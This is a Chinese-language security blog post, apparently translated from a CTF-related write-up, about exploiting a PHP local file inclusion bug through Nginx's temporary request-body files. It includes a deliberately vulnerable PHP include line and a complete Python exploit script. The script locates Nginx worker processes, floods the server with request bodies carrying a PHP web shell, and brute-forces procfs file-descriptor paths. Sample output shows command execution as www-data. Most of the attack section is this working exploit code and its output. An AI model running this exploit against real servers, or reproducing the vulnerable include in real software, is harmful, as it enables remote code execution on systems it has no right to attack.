利用Nginx本地文件包含 (LFI) 漏洞的新方法

2021-12-27 10:25:33 浏览数 (2)

大多数当前的 LFI 开发技术依赖于 PHP 能够创建某种形式的临时或会话文件。让我们考虑以下示例,其中以前可用的技巧不起作用:

PHP代码:

代码语言:javascript复制
<?php  include_once ( $_GET [ 'file' ]);

FPM/PHP 配置:

代码语言:javascript复制
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...

设置:

代码语言:javascript复制
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

幸运的是,PHP 目前经常通过 PHP-FPM 和 Nginx 部署。Nginx 提供了一个容易被忽视的客户端主体缓冲功能,如果客户端主体(不限于发布)大于某个阈值,它将写入临时文件。

如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则此功能允许在不使用任何其他创建文件的方式的情况下利用 LFI。

相关Nginx代码:

代码语言:javascript复制
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

可以看出,tempfile 在被 Nginx 打开后立即被取消链接。幸运的是 procfs 仍可用于通过竞争获取对已删除文件的引用:

代码语言:javascript复制
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

注意:不能直接包含/proc/34/fd/15在这个例子中,因为 PHP 的include函数会解析/var/lib/nginx/body/0000001368 (deleted)文件系统中不存在的路径。幸运的是,这个小限制可以通过一些间接方式绕过,例如:/proc/self/fd/34/../../../34/fd/15最终执行已删除/var/lib/nginx/body/0000001368文件的内容。

充分利用:

代码语言:javascript复制
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes 
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[ ] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*'   16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[ ] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

输出:

代码语言:javascript复制
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] brute loop restarted: 33
[ ] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

网站注意事项:

  • includer's revenge还包含一个 LFI 漏洞。通过fastcgi_buffering它更容易利用,因为可以通过调用readfilehttp:// 资源保持临时文件打开。
  • counter额外添加,system()以便/proc/$PID/cmdline可用于通过 base64 包装器包含本地文件。:)

0 人点赞